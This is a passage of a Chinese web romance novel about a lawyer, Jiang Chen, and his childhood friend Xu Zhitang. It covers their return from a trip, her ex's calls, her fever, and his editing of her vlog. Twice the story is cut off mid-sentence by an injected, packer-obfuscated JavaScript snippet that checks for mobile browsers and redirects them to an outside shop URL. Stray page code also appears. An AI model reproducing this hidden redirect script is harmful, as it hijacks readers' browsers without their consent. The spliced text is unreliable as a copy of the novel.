但蒋谌看得出她并不高兴,甚至有些心不在焉。好像对剪头发没有什么兴趣,只想得到一个结果。 这不太正常。毕竟她从小就爱漂亮,也喜欢琢磨这个,长大了只会更花心思。 蒋谌和她走出理发店,前往夜晚的车站。 如果是在海市,这时他可能还没有下班,但在这座北方小城,天一黑,街道迅速萧条如同深夜。好几分钟才过一辆车,行人寥寥。 许知棠说太冷了,跑去旁边的店里买了两杯热奶茶,回来拿给他,“预付精神损失费。” “……” 蒋谌放下手机,认命道,“讲吧。” “以前……遇到这种情况的时候,我们都是各管各的。”许知棠低声道。 她捧着奶茶,缓缓呼出一口白色的热气。在夜幕中显得格外寥落,像吐出一道寂寞的烟。 “他说男人的思路天生就更理性,不愿意为情绪买单。他可以包容我,但两个人在一起应该是互相成就的,而不是互相迁就。” 蒋谌心里冷笑,“又让你对自己负责了是么。” “他说,最好谁都别做不必要的牺牲。比起我冒着寒风去值班室送宵夜,他更希望我留在家里暖和地睡个好觉。不是非要黏在一起才叫爱的。” 许知棠说,“我知道,如果我提出要求,他还是会照我说的做。但是我也知道,他心里是不太愿意的。所以……我习惯了。我以为你也这样想。” 她已经习惯了,选择有分歧时要优先考虑整体利益。是否需要人陪伴没那么重要,别耽误事才是最重要的。 独断,毫不犹豫,是因为积累够了经验。 “如果你什么事都自己做,不需要人陪,”蒋谌说,“那在一起的意义是什么?” “我不知道……我只是觉得他说的有道理,两个人在一起应该是互相扶持,越来越好。而不是互相添麻烦。” 蒋谌沉默地喝着奶茶,猛吸几口就没了,这一杯真不经喝。 熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750431|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的人才知道,他并不是真的天生性格高冷,不说话的时间里,大多都是在努力克制吐槽的欲望和冲动。 目前他对许知棠的前男友也有几百句难听话可以说。 原来真正不通人性,又没有良心的另有其人。真不知道她眼光怎么那么差,挑到一个伪人当成宝贝爱了好多年。 “谢谢你。”许知棠突然对他说。 蒋谌把空纸杯投进垃圾箱,“谢我什么?陪你剪头发?” “谢谢你今天和我一起做的所有事。”她低着头,“谢谢你陪我一起来这个没听说过的地方……谢谢你跟我一起回家。” 谢谢让她重新想起这么简单的道理——同行的人之所以能够同行,原来是先要在一起。 一起,比其他任何事都更重要。 她从来都不想一个人。却谈了场两个人比一个人更寂寞的恋爱,还差点把自己都说服了。 蒋谌看她一会儿,伸出手接了一下。确认没有眼泪砸在他手心里,才幽幽道,“你上午还把我自己留在酒店。” “……” 他现在才开始告状。 许知棠吸了吸鼻子,阐述自己的理由,“我那不是想让你多睡会儿觉么?再说,你本来也不乐意在冷风里跟我一起逛街。” “我只是不乐意在冷风里逛街,又没说不乐意跟你一起逛街。”蒋谌说,“真不乐意,我一开始就不会来。” 怎么觉得这话他憋一天了呢。给许知棠听得一愣一愣,怪不得,那么好吃的铁锅炖他都不怎么露笑脸。 他说,“我不是那种喜欢站在道德制高点的人,也不爱给人上课。但就算实在不能一起了,也得商量两句再做决定吧?你根本没给我过发表意见的机会。” “好吧,这次真的是我不对。”许知棠虚心承认,并试图赔礼道歉,“再给你买一杯喝的行么?你喝好快啊,要不我这个也给你吧。” 她掀掉奶茶盖子递给蒋谌上供,态度非常之良好。蒋谌冷哼一声,把剩下的半杯一饮而尽,“原谅了。” 许知棠眼睛一弯,挨着坐他身边再接再厉道,“我以后再也不撇开你了,有事都跟你好好商量。” “别挤我。” “我不呢~” 朋友就是治愈人生的良药!连猫生也可以治愈。 许知棠更加确信这点。 回家的路走了两遍,这次是真的要离开了。凌晨的候机大厅里,许知棠最后一次拿出相机拍照。 “停机坪有什么好拍的。”蒋谌举着相机,在她的指挥下移动构图。建筑外隔着老远,她要和刷在墙上的标语合照。 ——“回家的感觉从这里开始”。 还挺应景的。来的时候怎么没看见呢。 如果不是她爱跟奇奇怪怪的东西合影,蒋谌想他大概再来几趟也不会注意。 “怎么样,好看吗?”许知棠又整理了一下刘海,捻着短短的发尾,还有点不习惯。 “我很多年没剪过短发了。以前总说等分手的那天就剪,其实每次分手都没想起来过……干脆就今天,择日不如撞日。” 分叉的失去营养的过去,就该留在千里之外,永不回头。 她小跑过来,靠着蒋谌的手往取景器里瞧,又眼巴巴地望着他,要求一个中肯的评价,“好看吗好看吗?好不好看啊。” 蒋谌移开目光,烫手山芋似的把相机丢给她,言辞闪烁,“还行,都差不多吧。” 真会为难人。又不是第一次见面的陌生人,他怎么给中肯的评价? 许知棠检查成片,满意地点头,“下次再出来玩我们还是一起吧,这样我对着相机自言自语就不会尴尬了。” 蒋谌说,“没见你尴尬过。” 她眨眨眼睛,“呱。” “……” 旁边的旅客大约不能理解,这两个人为什么忽然不约而同地笑成智障,默默隔远了坐。 但毕竟时间太晚。上了飞机,两个人的好精神就又不约而同地迅速流逝。 航班没有晚点,到达海市是凌晨两点一刻,再强撑着困意打个车,到家就要三点钟了。 不出意外,出租车上两人又睡了一路。 到达小区门外,司机师傅迟迟没有听见下车的动静,回头看了眼后座,扑哧笑了,“帅哥美女,醒醒吧,该下车了。” 蒋谌皱着眉头睁开眼,刚要开口,嘴唇擦过带着香味的发丝。许知棠枕着他的肩膀睡得香甜,半个人都压在他身上。安全带被她扯得好长。 他猛地惊醒了。 不知道是从什么样的姿势垮过来的,左边手臂几乎整个被她抱在怀里,动弹不得。都睡着了,她的右手还捏着个拳头,就放在他摊开的掌心里,那么小一个。 蒋谌鬼使神差地蜷起手指。在完全包裹住之前,指腹便已经有了明确的触感,细嫩温热。 信号闪电般传导给大脑,发出刺耳警报,勒令他不许再有别的动作。 “……到家了。”他声音很轻也很匆忙地叫她,更像在叫醒自己。“知棠。” 27. 第 27 章 许知棠困得头重脚轻,只听见是让下车,闭着眼睛往外挪。但是她走不动,有一股神秘力量把她封印在温暖的车座里,“诶……” “安全带。”蒋谌无奈俯身,给她解开。“包给我,把外套穿上。” “哦。” 虽然是凌晨,虽然也冷,海市夜里的体感温度就舒服很多。 许知棠连胳膊也不想抬,抱着衣服,一脸迷糊地跟他走。走几步被风吹得一哆嗦,还是梦到哪句说哪句,“天亮了吗?你要去上班了吗?” “没那么快。” “哦。” 他步子太大。许知棠跟不上,扯着他衣服后摆又扯了好长,“等等我呀,走丢了走丢了……” 蒋谌只好停住,不太情愿似的,把行李的重量撂到同一边,“手。” 她乖巧地松开手,等了一会儿还没见人走,才终于会意。却没牵他的手,而是直接抱住了他的胳膊,“嘿嘿。” 和学生时代约着下课一起去厕所的小姐妹差不多。 蒋谌心里嫌弃,步伐还是配合着减慢了。 上了楼,他才拿出拖鞋,许知棠已经梦游进屋,一头倒在沙发上酣睡。 蒋谌把她拎回房间去睡,自己去洗澡收拾行李。顺手把鱼喂了,脏衣服洗完,地板拖干净。睡了三个小时又起来洗漱,紧锣密鼓地出门上班。 半梦半醒间,许知棠能听到他在外面忙活的动静。隐隐约约的白噪音,更踏实好睡。 等人离开反而睡不着了。她从床上爬起来,走出房间。 清晨的阳光透过窗纱,柔和又沉静,连鱼缸都擦得清澈透明。除了她的旅行包没有动,客厅里已经被整理得井井有条。 旅行结束,回到一个干净敞亮的家里,心情极其舒适。 新的一天就应该这样开始。 让人感觉活得很有盼头。 去洗澡前,她给自己点了份健康早餐,又把昨天路上修好的漂亮照片排列成九宫格,发了个朋友圈。 【一次难忘的旅行~~】 是挺难忘的。 蒋谌一张张看完,高冷地点了个赞。 今天是个晴天。 他喝完最后一口咖啡,收敛心神起身,踏着光走向会议室。 ** 早晨七点,云川三院急诊刚刚结束了一场抢救手术。 紧绷后的松弛时间里,办公室萦绕着淡淡的疲惫。 何松砚连着两天没回家,天亮才伏在办公桌上睡了一会儿,又起来写病例。 同事给他带了早餐,闲聊似的提起,“哎,刚看到许知棠发朋友圈了,不知道又是去哪儿旅游。这日子过得挺悠闲啊。” “我看不到。”何松砚打字的动作没有停,眼睛盯着屏幕,仿佛没有受到这个消息的影响,“她把我拉黑了。” “……”同事露出同情的目光,拍了拍他的肩,“包子和豆浆,放你桌上了啊。” “多谢。” 何松砚拆开吸管喝了口豆浆,捏着眉心拿起手机。 聊天列表里少了最显眼的置顶,确实让人很不习惯。 许知棠回家的那天,前后态度是有差异的。她留在护士站的花束里,甚至还有亲手写的祝福小卡片。 所以只可能是在医院里碰到的谁,跟她讲了转院的消息,让她情绪崩溃。 何松砚心里有人选,但这种事,说白了也没法儿追究。确实是他隐瞒在先。 只是他的隐瞒,也并没有许知棠说的那样卑鄙。 有一半是因为事情真的没落定,哪怕他再有把握,也不排除可能出现变故。 还有一半是觉得,许知棠肯定能理解他。无论什么时候知道,她都会接受对两人都好的安排,和他一起迈进新生活。 他从没想过许知棠不接受,还是态度这么明确的不接受。除了惊愕和郁结,还有些不确定的茫然。 他跟许知棠在一起这么多年,自信对彼此都很了解。此时却摸不清她的行为,到底是和往常一样闹别扭冷战,还是真的要跟他一刀两断。 许知棠怎么可能真的要跟他一刀两断? 万一许知棠是真的要跟他一刀两断…… 何松砚从没想过,两个人分开之后他该怎么办。 吃完早餐,何松砚如常去查房。 上午风平浪静地过去。他脑海中搅动的思绪却还没停止,午休时在院里的花园转了几转,还是散不开心事。 被感情支配也会影响工作。 无论许知棠怎么想,他拿出手机,决定妥协。 哪怕所有社交平台的好友都被拉黑删除,电话号码却早已熟记于心。 何松砚打出一串熟悉的数字,看了又看,最终拨了出去。 ** 许知棠洗完澡裹着浴巾出来,一边吃早餐,一边看自己朋友圈的评论。 地铁上偶遇的女孩也给她点了赞,还认出地标建筑,问她是不是去了南杞县玩。两个人就此私聊起来。 【我奶奶家就在那里诶!小时候放寒假经常回去的哈哈哈】 【最近有家卤煮店变网红店了,哇也是我小时候经常吃的,味道确实很赞】 许知棠兴致勃勃地跟她聊天。 【我们也去了!本来要打卡的,可惜没有开门】 【不过我们去了别的小店也很好吃,去吃串串香的时候还被城管追了哈哈哈超好玩的】 【我准备剪到vlog里!回头做好了发给你看】 【好哇!那你是在做博主吗?我速速关注你】 【对了,你在海市玩得怎么样?那份攻略有没有用到呀】 【说来话长……我还没玩上呢,工作先找到了】 【未来几个月我都要在这里工作orz】 【哈哈哈这么励志的吗姐妹!】 【那太好了,回头有时间我们可以约着一起出去玩】 许知棠愉快地回复了ok表情包,听到铃声响,起身去开门。不知怎么有快递到。 不是她买的东西。许知棠确认过号码,帮“Jiang”签收了快递,拿进来问蒋谌。 蒋谌就回了一个字。 【拆】 其实从快递箱就能看出是什么东西。 许知棠虔诚地拆开,捧出两罐贵贵的面霜。他买的还是100ml的大正装,加上一堆小样,能用到明年了。 这么大手笔。 她放好面霜拍了张照。网络朋友还在关心她的近况。 【对了姐妹,你现在找好房子了吗】 【我认识靠谱的中介姐姐,看你想住哪个区,都可以帮你找房源】 【已经安顿好啦!有朋友帮我[企鹅转圈]】 【那就好~是你上次说的那位,也在做律师的朋友吗?她在哪个所呀】 许知棠一愣。 她还真不知道蒋谌在哪里工作。 【我没问过他呢】 【他叫蒋谌,会不会正好跟你是同事呀哈哈哈】 她只是随手一打,并没有想过真有这种巧合。没想到对面 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“而且在我们所连续两年创收超过千万,已经可以走合伙人会议表决流程了。我上周还听同事说呢,等到蒋律进了决策层,他会是擎海有史以来最年轻的合伙人。” 许知棠发出惊叹,“这么厉害。” 怪不得能把贵妇面霜当青蛙王子使呢。 “对啊!现在知道我为什么震惊了吧!”周小愈激动得重复,“所以你居然跟他是朋友?!这是我假期结束以后听到的最大八卦!你们认识很久了吗?” “是有很久了,小学就认识。”许知棠听她的语气,好像把蒋谌当成行业里的偶像,觉得还挺可爱,与有荣焉。 她的朋友在自己的专业领域里,已经是值得敬佩的前辈。 她完全可以想象到蒋谌在新人面前的模样,但脑海中却又忍不住地浮现他幽怨的口吻。 就在前一晚,他还在为“把我自己留在酒店不叫我一起出去玩”而郁闷呢。 “先不说了我们组长来了,”周小愈匆忙发来最后一条语音,“太神奇了,回头我们一定得好好唠唠!” 许知棠笑着发给她一张猫猫头敲键盘的表情包,蓦地打了个喷嚏。 身上一阵冷一阵热,感觉不太妙。 大概是从北地回来温差太大。她赶紧穿好衣服去吹了头发,给蒋谌发微信问药箱在哪里。 还没等人回复,她自己先找到了,里面有两盒感冒灵冲剂。 她拿出那盒已经拆封的,冲了一包,喝完才发现,居然已经过期了整整一年,“……” “过期药还不扔掉。”她嘀咕着,拿出另一盒没拆封的,下意识以为是新买的,又冲了一包喝下去,把剩下的收好。 喝完心里还有点发毛。许知棠莫名不安,从垃圾桶里捡起包装看。 这盒过期了半年。 “……” 哇塞。 药过期了一盒又一盒,也不喝,就爱买。 她命苦地想,那蒋谌身体很好了。 还收起来干什么。许知棠索性把药箱翻了一遍,把过期药都找出来,拍了个大特写。 【[图片]愚蠢的人类!是不是想毒死我这只小猫咪!】 刚把消息发出去,手机就响起来电显示。 她先入为主,以为是蒋谌打来,顺手就接通了。然后才反应过来。 这串熟悉的电话号码…… 属于另一个人。 28. 第 28 章 蒋谌回到家时天色还很亮。突然的开门声把沙发上的人吓了一跳。 “诶,你今天回来这么早。”许知棠抱着笔记本在剪视频,身边还放了个喝完的奶茶纸杯,塞满擦鼻涕的纸团。 “下午见客户,不用回公司打卡。”蒋谌缓了口气,放慢速度,像平常一样换鞋脱外套进屋,只是说话还有点喘,“怎么手机关机了?” 她没有发现异常,恹恹地说,“我前男友一直打过来。再不关掉手机,我怕我会接电话。” “……”倒是诚实。 他拎着路上买的药进来,看到餐桌上也放着药店的外卖袋,样数还很齐全。 许知棠把脑袋往沙发靠背上一抵,发出不省心的叹气,“你家里连个体温计都没有。” “刚买了。” “哦,现在有两个了。” 她继续把脑袋往沙发里钻,“怎么办……两个小时过去了我脚本都还没写完。” “被前男友骚扰影响工作效率?”蒋谌接了杯水过来,看到她脸颊上的红晕,眉毛皱起来,“你是不是发烧了。” “我知道啊。五分钟前才吃了退烧药,还没起效呢。” 许知棠仰起脸给他摸额头,闭着眼睛嘀咕,“我都有点看不清楚屏幕上的字了。” 蒋谌本来没有想要摸她。 但她都把脸伸过来了。蒋谌觉得不能让人尴尬,还是试探性地拿手背贴过去,被烫了一下,顿时眉心拧得更紧,“是感冒吗?要不还是去医院看看。” 他感冒没有这么严重过。 “不是感冒还能是什么。”她苦着脸,推开电脑倒在沙发上,“哦,也有别的可能。你说会不会是吃了你的过期药,毒发了呢?” “……后果会这么严重?”这他真不清楚。他都很久没打开过药箱了。 “不知道啊,我们医院一般不给病人吃过期药。” 蒋谌心想她发着烧,嘴巴倒是厉害起来。 但他确实是有点抱歉的,所以完全没有还嘴的意思,态度比平时还要关切,“喝点温水解解毒。” 许知棠受用,爬起来喝了水,才偷偷摸摸地开机,发现何松砚给她打了三个电话以后就没再打来了。心里说不清是惆怅还是庆幸。 “你说他给我打电话,是想跟我讲什么呢。” 还能是什么。 蒋谌不发表太多意见,免得又落个刻薄的评价,“既然好奇,为什么不接?” “其实我第一次不小心接到了……听见他的声音心里就好难受,所以赶紧挂掉,点完外卖立刻关机。” 她很有自知之明地说,“如果我接了他的电话,说不定又要把他的好友加回来,然后,被你知道了肯定要骂我。” 蒋谌还不想承认,“我有什么好骂你的。” “少来。”她又发出一声长叹,“唉,也就只有你和陶陶会骂我了。发完分手朋友圈以后有好几个朋友都来找我聊天,劝我冷静,让我考虑清楚回去找他复合呢。” 她明白长辈和朋友们也是希望她以后的生活能稳定,有保障,所以说她遇到这么适合结婚的对象要珍惜,平白无故地放弃实在太傻。 他们都打心眼里为许知棠感到可惜,却又并不真的关心许知棠到底是谁,和她自己想要的生活是什么样。 他们对所有像她这个年纪,她这般处境的女孩,都会说一模一样的话。 就好像她从来不必有自己的想法,不必妄想与众不同的人生。 她抱着纸巾盒使劲儿擦鼻涕,发泄郁闷似的。忽地想起,“对了!你工作的律所是不是擎海?我今天才知道,原来之前在地铁上认识的女孩跟你是同事呢。你说是不是很有缘分。” “确实。”蒋谌随口接话,“叫什么名字?” “诶,忘记问她了。”许知棠试图描述,比划了两下发现自己也没有记住,“反正是个一看就很优秀的女孩!” “和我共事的律师每个都很优秀,”他说,“尤其是女孩。” 许知棠无法反驳,甚至有点嫉妒,哼了一声端起笔记本放在腿上,继续剪视频。 “还不去休息?”蒋谌看她一脸生无可恋,不像是多有干劲的样子。生病了也要坚持工作,会不会太励志了点。 “我在微博发了预告,今晚要更新旅行vlog。总不能说话不算数吧。”豪言壮语已经放出去,她现在后悔也晚了,“今天必须要发。” 虽然她觉得大概率是完不成了,身上没什么力气,思路也不大清晰,只是凭着仅存的意志力在做。 蒋谌没骂她逞强,也没鼓励她为自媒体卖命,点点头任由她去做,“那晚饭就在家里吃吧。我去冲个澡,等会儿出来点外卖。” “哦,行。” 许知棠头晕眼花地努力工作。 她今天听说了蒋谌在公司里职级不低,除了被朋友的荣光照耀,感到骄傲,心里其实也有点小小的落差。 她想蒋谌能取得今天的成就,一定也经历过不为人知的辛苦。这个世界上就没有人活得不辛苦。 但是她又想,或许蒋谌就是那个幸运儿呢。他从小就很优秀,从生下来就是很优秀的,说不定压根就没体会过普通人的辛苦。 说转行就转行,还做得这么漂亮,一个人在大城市里生活,自由自在的没有牵绊,也不用被催婚。 她觉得这有点不公平,继而对手头理不顺的工作越发的焦虑,一边想着肯定完不成了,一边又不想就这么放弃。 蒋谌再过来,就看见她一把鼻涕一把泪地努力打字又删除,嘴角一个劲儿往下掉,眼睛红得像兔子。还跟小时候似的,一边哭一边赶作业,晚饭都不想吃了。 “……” 怎么能这么辛酸。他看不下去,只能和小时候一样说,“去床上躺会儿吧,我替你做。” 而跟从前不同的是,许知棠有理由质疑他,“你能做?你会吗。” 蒋谌:“学了不就会了。” 她用的不是功能繁杂的专业剪辑软件,初学者也好上手,蒋谌在旁边看了一会儿,就把基本功能熟悉得差不多。 “那你帮我整理素材,粗剪一遍就好了。”她不太放心,但精神坚持不住,脑袋胀得像灌了水泥,连眨眼都好疼。只能委托蒋谌当助手。 “我休息一下就回来继续做。万一不小心睡太久了,你一定要叫醒我。” 蒋谌答应了,接过电脑代替她的位置坐下。连沙发垫都被她异常的体温煨得很热。 他没急着对素材下手,而是先点进许知棠的账号,看了她以往发表的全部视频,从中寻找规律。 不仅有旅游和探店vlog,还有快递开箱,好物分享,电影观后感和读完某本书的感悟,偶尔也会说些针对热点时事的看法。 这里的内容如此丰富,远比朋友圈有趣,像是她一部分精神世界的外化。明白地展示着她的思想,兴趣性格和对这个世界独有的认识。 蒋谌看完心里就有数了,模仿她的创作思路,效率超高地把剩下的脚本按时间线补充完,然后开始剪视频。转场,字幕,bgm和各种可爱的特效花样,都从她用过的素材库里面选,确保跟以往的风格一致。 他没有创作者常有的“这段想保留,那段也舍不得删”的毛病,眼光毒辣,直接截取最精华的片段。说是粗剪一遍,上手就精细到成品效果,铁粉都不一定能看出差异的地步。 他因此也把南杞县两日游温习了一遍,再看到许知棠骑共享单车的那段视频,还是会不自觉地笑出来。天赋异禀,觉得剪视频这活儿还有挺意思。 直到他随手点进一个被命名为废稿的文件夹。 这个文件夹里有上百条还未删除的视频。他想大概是笑场忘词之类的片段,随便播放了一条,却猝不及防地听到电脑里传出压抑的哭声。 屏幕当中是他从未见过的许知棠的模样。 她上半年尝试了各种不同类型的口播,想尽快找到属于自己的赛道。可越是急着证明自己,效果就越是不尽人意。 再加上抑郁导致的思维障碍,会让她变得迟钝,无法集中注意力,她面对镜头的表达能力越来越差,常常说完上一句,就忘了下一句要说什么。 视频开头的她妆容精致,强迫自己露出笑容,直视镜头,一遍遍说着开场白,直到情绪崩溃,泣不成声。 视频的结尾,她的妆已经被哭花了,怔怔地盯着镜头,面无表情。仿佛灵魂已经飘走,只剩下一副漂亮又麻木的躯壳。 蒋谌手指挪动,光标在屏幕上转了半天,点进去任何一条都没能看完,心里堵得厉害,难受得出去抽了根烟,给魏林瀚打电话。 和许知棠本人相比,他不是医生眼里的好患者。他不想说太多暴露许知棠的隐私,也不想承认自己太过于关心,无端插手会显得很自大。所以有隐瞒,不够坦诚。 但这些零散的信息量,在心理医生听来已经足够做出判断。 魏林瀚听他东拉西扯说了半天,其实就是心疼了。平时解决问题擅长直击要害的人,现在心疼得语无伦次不知所措。 “录像也是一种发泄方式啊。懂得发泄情绪,总比全憋在心里强吧。”魏医生宽慰道,“不用太担心了,你们家小猫咪一看就很好养。” “怎么养?”他觉得这医生怎么不把病人当回事,明明问题很严重,“我没养过猫,也没养过人。” “顺毛捋呗,没事亲一亲抱一抱啊,伺候人家吃好睡好,保持心情愉悦。” “……” 蒋谌沉默片刻:“我们不是那种关系。” “那种关系是什么关系?我又没说你们是哪种关系。” “……” 蒋谌说,“挂了。” 夜幕低垂。他看着天色,点了些适合病人吃的晚饭。等外卖送到,去叫许知棠时才发现,她根本没睡。 她蒙在被子里,捂得全身汗湿,还在默默流泪。 明明也没喝多少水,蒋谌不知道她怎么有这么多眼泪可以流,一副委屈样,虚弱又可怜。再探她额头,感觉烧完全没有退,反而热度有所攀升,“都这样了还不去医院?” “我不要去。”她把被子裹得更严实,眼睛也闭得紧紧的,用微弱的鼻音抗议,“不去,不去。我这辈子都不想再回医院了。” 她从小就讨厌医院,总觉得那里是死人的地方,一年四季都在不停地死人,阴森森的很恐怖。 可长大后,人人都说医院是救死扶伤的神圣场所,人人都说她妈妈临危不惧坚守岗位,是一位伟大的英雄护士。 她也想当英雄。她可以勇敢地留在医院里工作,但即使努力了这么多年,也实在是无法改变本能的抗拒。 她头痛,喉咙痛,全身肌肉酸痛。医院也不能让她舒服,不知道去哪里才能缓解。不久前小车祸摔出的伤口早就不再流血,褪掉了痂,淤青散去。可还是好痛,浑身都痛。她只是一只小猫咪,为什么会这么痛? “我好想回家……”她从刀片划过般干涸的嗓子里挤出哭腔,唧唧咛咛,不太清醒地重复着,声音很小,却足够让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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蒋谌上一秒还在思索要说点什么安慰的话,回过神不知怎么就被她卷进了被窝。 被子里让她捂得热烘烘的,泛着点潮气,汗味和香味混合在一起,变成了暧昧的巢穴。 没有被子的阻隔,两层睡衣又很单薄,两人的距离几乎瞬间蒸发了,共享着一处狭窄闷热的空间,让这个原本用心纯粹的拥抱,天翻地覆地变了性质。 许知棠潮湿的掌心伸向他,似有若无地贴着他的胸口,居然还在说奇怪的话,“要不你别剪视频了,就在这陪我睡两个小时吧。休息好了我起来自己弄。” “……你觉着这样合适吗?” 蒋谌猛地把她往外一扯,动作粗暴,重新卷成一团被窝虫。透露出很明显的嫌弃意味。 许知棠有点破防了。 真要说有什么不合适的,也是她被占便宜。她都没嫌呢,“你在想什么!我只是一只孤苦伶仃病入膏肓需要陪伴的小猫咪。对着小猫咪你也下得去手吗?你还是不是人啊。” 她倒是能在那里理直气壮地咪咪咪。蒋谌忽然就不是人了,百口莫辩。他起码也得真想了,再挨这骂才不算亏,气得朝她屁股上拍了一巴掌,“别说那些没用的!赶紧给我睡。” 许知棠细着嗓子叫唤一声,拱起被团在床上翻腾。一撒起泼来,忽然身上就有劲了,“你打我?你竟然打我?我都病成这样了你竟然还下得去手?!咪的天!” “……” 蒋谌没太听清她在咪什么,那只气急败坏的手掌微微蜷缩,对触感有些意外。 隔着被子居然有点回弹。 这会儿他的心思也被带歪了,暗想平时看起来细伶伶的一条,其实还挺有料。 “你抱着我睡!就像刚才那样,隔着被子抱着拍拍我,快点快点。”她还在床上打挺,“不然我要闹了,我真的要闹了!” 蒋谌很确定自己被讹上了。 这也是许知棠。只要确认对方没有恶意,不会生气,她就敢肆无忌惮地缠上来蹬鼻子上脸。 “起来把饭吃了,再吃一次药。”他试图通过讨价还价,来让他的妥协不是那么明显。 只是有些话,从他口中说出来怎么都听着别扭,“做得到我就陪你睡两个小时。” “真的?”许知棠半信半疑。 她一点食欲都没有,但是为了达成交易,还是勉强吃了两块排骨,喝掉半碗山药粥。山药吃起来是苦的,她往里面掺了一点牛奶,但还是没有她喜欢的美龄粥好喝。 “明天早上给你买。”蒋谌监督她把药吃了,“如果再过三个小时还是没效果,就要去医院。” 许知棠抗议,“刚刚没有说这一条。” “现在说了就有。” “那你也要陪我睡三个小时。” “……行。” 蒋谌理智上知道这样不行,心里又很没办法。 有些事情根本就不能也不应该开头。他不喜欢许知棠,许知棠也不喜欢他。可是他却要躺在许知棠身边陪睡,还得一下一下地摸她。 说什么顺毛捋。哪怕是隔着被子摸,也是在摸她。哪怕只是为了哄生病的人,像哄闹觉的小孩一样,拍拍脑袋拍拍背,也还是在摸她。 摸得人口干舌燥,心里起火。 又很没办法。 许知棠美美享受了一会儿,感觉他手不怎么动了,担心他会比自己睡着得还快。说好了三个小时的,“继续拍呀,你没有在偷偷摸我屁股吧?” “……闭嘴。” 29. 第 29 章 蒋谌心无旁骛地拍了她半个钟头,听呼吸声变沉静,确认她不会再坐起来说什么让人头疼的话,才轻手轻脚地离开了卧室。 他一边继续剪视频,一边想,对许知棠的容忍度变高,只是因为她正在生病。以后不可能再这样胡闹。 但魏林翰的话还在他脑子里翻腾。他又觉得这孩子可怜,遇上的难事一桩桩一件件,心里苦得人都不想当了还要她怎样。 反正他无家一身轻,适当纵容一下,应该也不会太麻烦。 许知棠这一觉踏踏实实睡到十一点半,退成低烧,半夜又起来吃了次药。 醒来时她还想着自己的工作,但基本已经放弃了,打算登上微博发条道歉声明,安抚一下粉丝,延期发布视频。 其实她的粉丝们都很可爱体贴,知道她生病只会心疼她,叫好好休息,不会刁难。她只是自己心里有些过意不去,承诺过的事情没有完成。 蒋谌把电脑给她就去睡觉了,桌上放着刚倒的温水和配好的药片。她坐下来把药吃掉,打开电脑想加会儿班,才发现桌面上的vlog。 赫然是待发布的精剪完整版。 她点开视频从头到尾播放了一遍,转场丝滑,逻辑流畅,连字幕也是熟悉的语气,甚至每次有吃东西的镜头,都会p一对会动的猫耳朵特效在她头上——完全就是她的创作习惯。 像是被她夺舍了的蒋谌做出来的东西。 视频里完全看不到他的痕迹,不改脚本,不添加ooc的台词,也没有自以为是地添加炫酷特效,或是什么高大上的转场。 她习惯保留一些口误的小片段,看起来像是应该被剪掉的瑕疵,但她就是喜欢这样,不追求准确无误,显得更生活化,和观众的距离更近。蒋谌也这样做了。 许知棠知道,这比让他按自己的想法剪出一个视频更难。因为要进入她的思维模式里,需要了解她,关心她,清清楚楚地看到她。 并且承认她。 没有“我觉得这样会更好”的修改和审判。只是看到她,允许她就这样带着瑕疵存在。 她望向那扇已被关上的卧室门,心里说了一万句感谢。然后擦擦眼睛,把视频重新播放,精益求精地换了两段最近热度更高的bgm。 赶在零点前,她成功地把视频发了出去。双手合十,朝着蒋谌的卧室虔诚地一拜。 “伟大的学神啊,保佑我这条视频播放量破百万吧。” 或许她的祷告真起了作用,南杞县vlog发布的第三天达成了百万播放。 距离她上一条百万播放量的视频已时隔两个多月。许知棠很高兴,把视频置顶,百忙之中抽空请蒋谌吃饭,庆祝了好几顿。 感冒好全,她的模特生涯也迎来第一个高峰。新人光环爆发,她拍的品里连续出了两个爆款,时薪上涨,商单排得很紧凑。 商业价值就是最现实的证明。她从未在自己喜欢的领域里取得过这种成就,再加上想攒钱买件好礼物送给蒋谌,简直有用不完的精力,起早贪黑地努力工作。 就在这样高强度的工作节奏中,蒋谌依然能收到她每天上百条的微信消息。 许知棠分享欲极强,按照远近亲疏排列。现在两个人一起生活,天天见面关系又好,发给他的消息数量甚至超过了陶悦。连每顿饭吃什么都要给他拍个照。 蒋谌为此感到烦恼,觉得她太容易依赖别人。他每天事情也很多,还要想她每条消息该怎么回,简直是凭空给人增加工作量。 他只是没有想过,其实还可以不回。 适应了几天以后他逐渐得心应手,还发现不知道吃什么的时候,可以点份跟她差不多的。得到了便利,就没那么烦恼了。 【今天拍外景「图片」「图片」「图片」】 【好多人啊】 蒋谌在开会间隙点开那一堆图片,一张张地看。一张张巧夺天工的脸,还有外籍模特。这么冷的天不知羞耻地露着上半身,胸肌腹肌一览无余,涂着人体彩绘。 【怎么全是男的】 【嘻嘻】 【美女在这里「图片」】 许知棠发给他一张对镜自拍。 蒋谌点开,放大,仔细观察,认为她的衣服厚度还算合适,才满意地没有多说什么。 免得又感冒发烧搂着他哭喊要回家。 周五难得休息,许知棠刷到热门打卡贴,和同事一起去东江公园拍桂花。 她在工作里快速认识了一些新朋友。认识的时间短,肯定不至于有多亲厚,但约着一起逛街打卡吃个下午茶还是可以的。 美女们各有性格,且经历丰富,凑在一起简直争奇斗艳。短短一个下午,许知棠听来许多闻所未闻,震惊小猫咪的八卦。原来大城市里的人这么会玩。 下午茶是其中一位姐姐请客。许知棠没点太贵的,凭着刻板印象觉得外表那么精美的蛋糕估计不会很好吃,就只要一杯拿铁,拍了两张照片。 其他人来也是拍照打卡居多,人均食用不超过三勺。一顿下午茶结束,桌上的蛋糕只受了点皮外伤。 许知棠看在眼里,感到十分可惜。 虽然不太符合职业模特的自我素养,但如果是她点,即使味道不怎么样也一定会吃完。 